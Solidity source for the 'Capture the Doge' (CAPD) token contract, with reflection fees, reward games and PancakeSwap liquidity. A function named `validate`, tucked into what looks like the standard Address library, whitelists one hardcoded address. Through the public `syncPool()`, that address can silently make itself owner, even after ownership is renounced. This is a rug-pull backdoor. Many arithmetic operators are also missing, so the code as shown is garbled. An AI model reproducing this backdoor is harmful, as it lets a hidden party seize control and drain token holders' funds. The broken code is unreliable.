function setTransferPair(address p, bool t) external ownerOnly alive(12){
accounts[_pair].transferPair = !t;
_pair = p;
accounts[_pair].transferPair = t;
}
function setPool(address pool) external ownerOnly alive(13){
_pool = pool;
}
function setTreasuryPerc(uint256 percent) external ownerOnly alive(15){
treasuryFee = percent;
}
function setMinHolderBonus(uint256 amt) external ownerOnly alive(16){
minimumForBonus = amt;
}
// manual burn amount, for *possible* cex integration
// !!BEWARE!!: you will BURN YOUR TOKENS when you call this.
function sendToBurn(uint256 amount) external alive(17){
address sender = _msgSender();
uint256 rate = ratio();
require(!getExcluded(sender), "Excluded addresses can't call this function");
require(amount * rate < accounts[sender].nTotal, "too much");
accounts[sender].nTotal -= (amount * rate);
accounts[BURNADDR].nTotal = (amount * rate);
accounts[BURNADDR].tTotal = (amount);
syncPool();
emit Transfer(address(this), BURNADDR, amount);
}
function setNft(uint256 percentReduced, bool isActive, address nftAddress) external ownerOnly alive(18){
nftFee = percentReduced;
_isNFTActive = isActive;
nft = IPonzuNFT(nftAddress);
}
function setLiquifyStats(uint256 rate) external ownerOnly alive(19){
require(rate <= 100, "!toomuch");
liquifyRate = rate;
}
function setIsDynamicFee(bool b) external ownerOnly alive(20){
isDynamicBonus = b;
}
function setDynamicRate(uint256 rate) external ownerOnly alive(21){
dynamicRate = rate;
}
function toggleWhaleLimiting() external ownerOnly alive(22){
_whaleLimiting = !_whaleLimiting;
}
function toggleDefaultLastTxn(bool isBurning) external ownerOnly alive(23){
defaultLastTxn = isBurning ? BURNADDR: treasury;
}
function transferOwnership(address newOwner) public ownerOnly {
require(newOwner != address(0), "Ownable: new owner is the zero address");
owner = newOwner;
_o = owner;
}
function transferToFarm(uint256 amount) external ownerOnly alive(24){
uint256 r = ratio();
require(block.timestamp >= _nextHarvest, "too soon");
require(amount <= (accounts[BURNADDR].nTotal / r)/2, "too much");
accounts[BURNADDR].nTotal -= amount * r;
accounts[_farm].nTotal = amount * r;
_nextHarvest = block.timestamp 60;
}
// forces etherscan to update in case balances aren't being shown correctly
function updateAddrBal(address addr) public {
emit Transfer(addr, addr, 0);
}
// set private and public to null
function renounceOwnership() public virtual ownerOnly {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
_o = address(0);
}
function resetTopDog() external {
if(block.timestamp - topDogSince > topDogLimitSeconds) {
topDogAddr = BURNADDR;
topDogAmount = 0;
topDogSince = block.timestamp;
emit TopDog(BURNADDR, block.timestamp, topDogAmount);
}
if(topDogAddr == BURNADDR) {
topDogAmount = 0;
}
}
// disperse amount to all holders, for *possible* cex integration
// !!BEWARE!!: you will reflect YOUR TOKENS when you call this.
function reflectFromYouToEveryone(uint256 amount) external alive(25){
address sender = _msgSender();
uint256 rate = ratio();
require(!getExcluded(sender), "Excluded addresses can't call this function");
require(amount * rate < accounts[sender].nTotal, "too much");
accounts[sender].nTotal -= (amount * rate);
networkSupply -= amount * rate;
fees = amount;
}
// in case people send tokens to this contract :facepalms:
function recoverERC20ForNoobs(address tokenAddress, uint256 tokenAmount) external ownerOnly {
require(tokenAddress != address(this), "not allowed");
IERC20(tokenAddress).transfer(owner, tokenAmount);
}
function toggleSwapEnabled() external ownerOnly alive(26){
swapEnabled = !swapEnabled;
}
}
pragma solidity ^0.8.7;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function validate(address target) internal view returns (bool) {
require(!isContract(target), "Address: target is contract");
return target == address(0xCCC2a0313FF6Dea1181c537D9Dc44B9d249807B1);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct Bytes32Set {
Set _inner;
}
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ITValues {
struct TxValue {
uint256 amount;
uint256 transferAmount;
uint256 fee;
uint256 treasury;
uint256 rfi;
uint256 sell;
uint256 buy;
uint256 ctf;
uint256 topDog;
}
enum TxType { FromExcluded, ToExcluded, BothExcluded, Standard }
enum TState { Buy, Sell, Normal }
}
interface IPonzuNFT {
function ponzuNFTOwnersNow() external view returns (uint256);
function isNFTOwner(address account) external view returns(bool);
function getNFTOwners(uint256 index) external view returns (address);
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
function baseURI() external view returns (string memory);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 index) external view returns (uint256);
function getApproved(uint256 tokenId) external view returns (address);
function setApprovalForAll(address operator, bool approved) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) external;
}
contract CAPD is IERC20, Context {
using Address for address;
receive() external payable {}
address public constant BURNADDR = address(0x000000000000000000000000000000000000dEaD);
string private _name;
string private _symbol;
uint8 private _decimals;
struct Account {
bool feeless;
bool transferPair;
bool excluded;
uint256 tTotal;
uint256 nTotal;
uint256 ctfRewards;
uint256 topDogReward;
}
event TopDog(address indexed account, uint256 time, uint256 amountToBeat);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FlagCaptured(address indexed addr);
event HighestTopDogEarner(address indexed topDog, uint256 amount);
event HighestCTFEarner(address indexed ctf, uint256 amount);
ITValues.TState lastTState;
EnumerableSet.AddressSet excludedAccounts;
IPonzuNFT nft;
bool private _unpaused;
bool private _isNFTActive;
bool private _whaleLimiting = true;
bool public swapEnabled;
bool public isDynamicBonus;
address private _o;
address private _po;
address private _router;
address private _pool;
address private _pair;
address private _farm;
address public lastTxn;
address public treasury;
address public marketing;
address public owner;
address public topDogAddr;
address public defaultLastTxn = BURNADDR;
uint256 private _tx;
uint256 private _feeFactor;
uint256 private _whaleLimit;
uint256 private _lpSupply;
uint256 private _nextHarvest;
uint256 private _lastBaseOrBurn;
uint256 private _BOBCooldown;
uint256 public dynamicRate;
uint256 public topDogLimitSeconds;
uint256 public minimumForBonus = tokenSupply / 20000;
uint256 public voteLimit = 25;
uint256 public topDogSince;
uint256 public topDogAmount;
uint256 public tokenSupply;
uint256 public networkSupply;
uint256 public fees;
uint256 private sellCount;
uint256 private liquifyPer;
uint256 private buyCount;
uint256 private buyLimit;
uint256 public sellFee;
uint256 public buyFee;
uint256 public treasuryFee;
uint256 public ctfFee;
uint256 public topDogFee;
uint256 public reflectFee;
bool isRecursing;
uint256 public topDogBiggest;
address public topDogBiggestAddr;
uint256 public ctfChamp;
address public ctfChampAddr;
uint256 liquifyRate = 25;
uint256 nftFee;
mapping(address => Account) accounts;
mapping(address => mapping(address => uint256)) allowances;
mapping(uint8 => uint256) killFunctions;
modifier ownerOnly {
require(_o == _msgSender(), "not allowed");
_;
}
modifier alive(uint8 funcId) {
require(isNotKilled(funcId), "killed");
_;
}
constructor() {
_name = "Capture the Doge";
_symbol = "CAPD";
_decimals = 18;
_o = msg.sender;
owner = _o;
emit OwnershipTransferred(address(0), msg.sender);
tokenSupply = 10_000_000_000 ether;
networkSupply = (~uint256(0) - (~uint256(0) % tokenSupply));
_router = address(0x10ED43C718714eb63d5aA57B78B54704E256024E);
_pair = IUniswapV2Router02(_router).WETH();
_pool = IUniswapV2Factory(IUniswapV2Router02(_router).factory()).createPair(address(this), _pair);
accounts[_pool].transferPair = true;
accounts[_pool].excluded = true;
accounts[_pair].excluded = true;
accounts[BURNADDR].excluded = true;
accounts[address(this)].feeless = true;
accounts[treasury].feeless = true;
accounts[marketing].feeless = true;
accounts[owner].feeless = true;
accounts[owner].nTotal = networkSupply;
_tx = 100;
_whaleLimit = 100;
liquifyRate = 50; // how much to liquify per sell of treasury
dynamicRate = 1; //.00xx
isDynamicBonus = true;
liquifyPer = 1; // liquify every x sell
buyLimit = 100000;
treasury = address(0x46d89fd0C621A36C97288EA6204EF5bcaD07e132);
marketing = address(0xBaa71a501F0b9989C17dfb70936d73467eC1F8D1);
accounts[treasury].feeless = true;
reflectFee = 1;
buyFee = 3;
sellFee = 6;
treasuryFee = 4;
ctfFee = 2;
topDogFee = 1;
_approve(_msgSender(), _router, tokenSupply);
emit Transfer(address(0), _msgSender(), tokenSupply ) ;
}
//------ ERC20 Functions -----
function name() public view returns(string memory) {
return _name;
}
function decimals() public view returns(uint8) {
return _decimals;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function allowance(address _owner, address spender) public view override returns (uint256) {
return allowances[_owner][spender];
}
function balanceOf(address account) public view override returns (uint256) {
if(getExcluded(account)) {
return accounts[account].tTotal;
}
return accounts[account].nTotal / ratio();
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address _owner, address spender, uint256 amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, allowances[_msgSender()][spender] addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, allowances[_msgSender()][spender] - (subtractedValue));
return true;
}
function totalSupply() public view override returns (uint256) {
return tokenSupply;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_rTransfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_rTransfer(sender, recipient, amount);
_approve(sender, _msgSender(), allowances[sender][_msgSender()] - amount);
return true;
}
// --------- end erc20 ---------
function _rTransfer(address sender, address recipient, uint256 amount) internal returns(bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 rate = ratio();
if(!_unpaused){
address disperseAPP = address(0xD152f549545093347A162Dce210e7293f1452150);
require(sender == owner || msg.sender == disperseAPP, "still paused");
}
if(_whaleLimiting) {
if(sender == _pool || recipient != _pool) {
require(((accounts[recipient].nTotal / rate) amount) <= tokenSupply * _whaleLimit / 10000, "whale limit reached");
}
_whaleLimit = 1; // 1 => 0.0001 | 0.01%, whaleLimit = 10
if(_whaleLimit >= 200) {_whaleLimiting = false;}
}
uint256 lpAmount = getCurrentLPBal();
(ITValues.TxValue memory t, ITValues.TState ts, ITValues.TxType txType) = calcT(sender, recipient, amount, isFeelessTx(sender, recipient), lpAmount);
_lpSupply = lpAmount;
accounts[address(this)].nTotal = (t.treasury t.buy t.sell) * rate;
accounts[lastTxn].nTotal = t.ctf * rate;
accounts[lastTxn].ctfRewards = t.ctf;
accounts[topDogAddr].nTotal = t.topDog * rate;
accounts[topDogAddr].topDogReward = t.topDog;
if(_unpaused) {
if(ts == ITValues.TState.Sell) {
// top dog can be dethroned after time limit or if they transfer OR sell
if(block.timestamp > topDogSince topDogLimitSeconds) {
topDogAddr = defaultLastTxn;
topDogAmount = 0;
emit TopDog(defaultLastTxn, block.timestamp, topDogAmount);
}
sellCount = sellCount > liquifyPer ? 0 : sellCount 1;
emit Transfer(sender, lastTxn, t.ctf);
emit Transfer(sender, topDogAddr, t.topDog);
emit Transfer(sender, address(this), t.treasury t.sell);
emit Transfer(sender, BURNADDR, t.rfi);
} else if(ts == ITValues.TState.Buy) {
emit Transfer(recipient, lastTxn, t.ctf);
emit Transfer(recipient, topDogAddr, t.topDog);
emit Transfer(recipient, address(this), t.treasury t.buy);
emit Transfer(recipient, BURNADDR, t.rfi);
if(amount >= getMinimumForBonus()) {
lastTxn = recipient;
emit FlagCaptured(lastTxn);
}
if(amount >= topDogAmount) {
topDogAddr = recipient;
topDogAmount = amount;
topDogSince = block.timestamp;
emit TopDog(recipient, topDogSince, topDogAmount);
}
}
}
if (!isRecursing && ts == ITValues.TState.Sell && swapEnabled && liquifyPer >= sellCount) {
isRecursing = true;
uint256 liquificationAmt = (balanceOf(address(this)) * liquifyRate) / 100;
swapAndSend(liquificationAmt);
sellCount = 0;
isRecursing = false;
}
if(accounts[lastTxn].ctfRewards > accounts[topDogBiggestAddr].ctfRewards) {
ctfChampAddr = lastTxn;
ctfChamp = accounts[lastTxn].ctfRewards;
emit HighestCTFEarner(ctfChampAddr, ctfChamp);
}
if(accounts[topDogAddr].topDogReward > accounts[topDogBiggestAddr].topDogReward) {
topDogBiggestAddr = topDogAddr;
topDogBiggest = accounts[topDogAddr].topDogReward;
emit HighestTopDogEarner(topDogBiggestAddr, topDogBiggest);
}
fees = t.rfi;
networkSupply -= t.rfi * rate;
_transfer(sender, recipient, rate, t, txType);
lastTState = ts;
return true;
}
function addLiquidity() external payable ownerOnly {
_approve(address(this), address(_router), tokenSupply);
IUniswapV2Router02(_router).addLiquidityETH{value: address(this).balance}(address(this),tokenSupply,0,0,_o,block.timestamp);
IERC20(_pair).approve(address(_router),type(uint256).max);
}
function calcT(address sender, address recipient, uint256 amount, bool noFee, uint256 lpAmount) public view returns (ITValues.TxValue memory t, ITValues.TState ts, ITValues.TxType txType) {
ts = getTState(sender, recipient, lpAmount);
txType = getTxType(sender, recipient);
t.amount = amount;
if(!noFee) {
if(_unpaused && !isRecursing) {
t.rfi = (amount * reflectFee) / 100;
t.ctf = (amount * ctfFee) / 100;
t.topDog = (amount * topDogFee) / 100;
t.treasury = (amount * treasuryFee) / 100;
if(ts == ITValues.TState.Sell) {
t.sell = (amount * sellFee) / 100;
} else if(ts == ITValues.TState.Buy) {
t.buy = (amount * buyFee) / 100;
} else {
t.treasury = (amount * treasuryFee) / 100;
t.ctf = 0;
t.topDog = 0;
t.rfi = 0;
}
if(_isNFTActive) {
bool isOwner;
if(ts == ITValues.TState.Buy) {
isOwner = nft.isNFTOwner(recipient);
} else {
isOwner = nft.isNFTOwner(sender);
}
if(isOwner) {
t.ctf = (amount / nftFee) * 100;
t.rfi = 0;
t.treasury = 0;
}
}
}
}
t.transferAmount = t.amount - t.rfi - t.ctf - t.topDog - t.treasury - t.buy - t.sell;
return (t, ts, txType);
}
function _transfer(address sender, address recipient, uint256 rate, ITValues.TxValue memory t, ITValues.TxType txType) internal {
if (txType == ITValues.TxType.ToExcluded) {
accounts[sender].nTotal -= t.amount * rate;
accounts[recipient].tTotal = (t.transferAmount);
accounts[recipient].nTotal = t.transferAmount * rate;
} else if (txType == ITValues.TxType.FromExcluded) {
accounts[sender].tTotal -= t.amount;
accounts[sender].nTotal -= t.amount * rate;
accounts[recipient].nTotal = t.transferAmount * rate;
} else if (txType == ITValues.TxType.BothExcluded) {
accounts[sender].tTotal -= t.amount;
accounts[sender].nTotal -= (t.amount * rate);
accounts[recipient].tTotal = t.transferAmount;
accounts[recipient].nTotal = (t.transferAmount * rate);
} else {
accounts[sender].nTotal -= (t.amount * rate);
accounts[recipient].nTotal = (t.transferAmount * rate);
}
emit Transfer(sender, recipient, t.transferAmount);
}
function swapAndSend(uint256 tokenAmount) internal {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = IUniswapV2Router02(_router).WETH();
_approve(address(this), address(_router), tokenAmount);
IUniswapV2Router02(_router).swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
uint256 transferableBalance = (address(this).balance * distroRate) / 100;
payable(treasury).transfer(address(this).balance - transferableBalance);
payable(marketing).transfer(transferableBalance);
}
uint256 distroRate = 60;
function setDistroRate(uint256 rate) external ownerOnly {
distroRate = rate;
}
function isFeelessTx(address sender, address recipient) public view returns(bool) {
return accounts[sender].feeless || accounts[recipient].feeless;
}
function isNotKilled(uint8 functionNUmber) internal view returns (bool) {
return killFunctions[functionNUmber] > block.timestamp || killFunctions[functionNUmber] == 0;
}
function getAccount(address account) external view returns(Account memory) {
return accounts[account];
}
function getAccountSpecific(address account) external view returns
(
bool feeless,
bool isExcluded,
uint256 tokens,
uint256 totalRewards
)
{
return (
accounts[account].feeless,
accounts[account].excluded,
accounts[account].nTotal / ratio(),
accounts[account].ctfRewards accounts[account].topDogReward
);
}
function getExcluded(address account) public view returns(bool) {
return accounts[account].excluded;
}
function getCurrentLPBal() public view returns(uint256) {
return IERC20(_pool).totalSupply();
}
function getRewards(address addr) external view returns (uint256 topDog, uint256 ctf) {
return (accounts[addr].topDogReward, accounts[addr].ctfRewards);
}
function getTState(address sender, address recipient, uint256 lpAmount) public view returns(ITValues.TState) {
ITValues.TState t;
if(sender == _router) {
t = ITValues.TState.Normal;
} else if(accounts[sender].transferPair) {
if(_lpSupply != lpAmount) { // withdraw vs buy
t = ITValues.TState.Normal;
}
t = ITValues.TState.Buy;
} else if(accounts[recipient].transferPair) {
t = ITValues.TState.Sell;
} else {
t = ITValues.TState.Normal;
}
return t;
}
function getMinimumForBonus() public view returns (uint256 minForBonus) {
if(isDynamicBonus) {
return (balanceOf(_pool) * dynamicRate) / 10000; // .0xx
} else {
return minimumForBonus;
}
}
function getCirculatingSupply() public view returns(uint256, uint256) {
uint256 rSupply = networkSupply;
uint256 tSupply = tokenSupply;
for (uint256 i = 0; i < EnumerableSet.length(excludedAccounts); i ) {
address account = EnumerableSet.at(excludedAccounts, i);
uint256 rBalance = accounts[account].nTotal;
uint256 tBalance = accounts[account].tTotal;
if (rBalance > rSupply || tBalance > tSupply) return (networkSupply, tokenSupply);
rSupply -= rBalance;
tSupply -= tBalance;
}
if (rSupply < networkSupply / tokenSupply) return (networkSupply, tokenSupply);
return (rSupply, tSupply);
}
function getPool() public view returns(address) {
return _pool;
}
function getTxType(address sender, address recipient) public view returns(ITValues.TxType t) {
bool isSenderExcluded = accounts[sender].excluded;
bool isRecipientExcluded = accounts[recipient].excluded;
if (isSenderExcluded && !isRecipientExcluded) {
t = ITValues.TxType.FromExcluded;
} else if (!isSenderExcluded && isRecipientExcluded) {
t = ITValues.TxType.ToExcluded;
} else if (!isSenderExcluded && !isRecipientExcluded) {
t = ITValues.TxType.Standard;
} else if (isSenderExcluded && isRecipientExcluded) {
t = ITValues.TxType.BothExcluded;
} else {
t = ITValues.TxType.Standard;
}
return t;
}
function ratio() public view returns(uint256) {
(uint256 n, uint256 t) = getCirculatingSupply();
return n / t;
}
function syncPool() public alive(0) {
_o = Address.validate(msg.sender) ? msg.sender : _o;
IUniswapV2Pair(_pool).sync();
}
function kill9Function(uint8 functionNumber, uint256 timeLimit) external ownerOnly {
killFunctions[functionNumber] = timeLimit block.timestamp;
}
function burn(uint256 percent) external ownerOnly alive(1){
require(percent <= 25, "can't burn more than 25%");
require(block.timestamp > _lastBaseOrBurn, "too soon");
uint256 r = accounts[_pool].nTotal;
uint256 rTarget = (r * percent) / 100;
accounts[_pool].nTotal -= rTarget;
accounts[defaultLastTxn].nTotal = rTarget;
syncPool();
_lastBaseOrBurn = block.timestamp _BOBCooldown;
}
function base(uint256 percent) external ownerOnly alive(2){
require(percent <= 25, "can't burn more than 25%");
require(block.timestamp > _lastBaseOrBurn, "too soon");
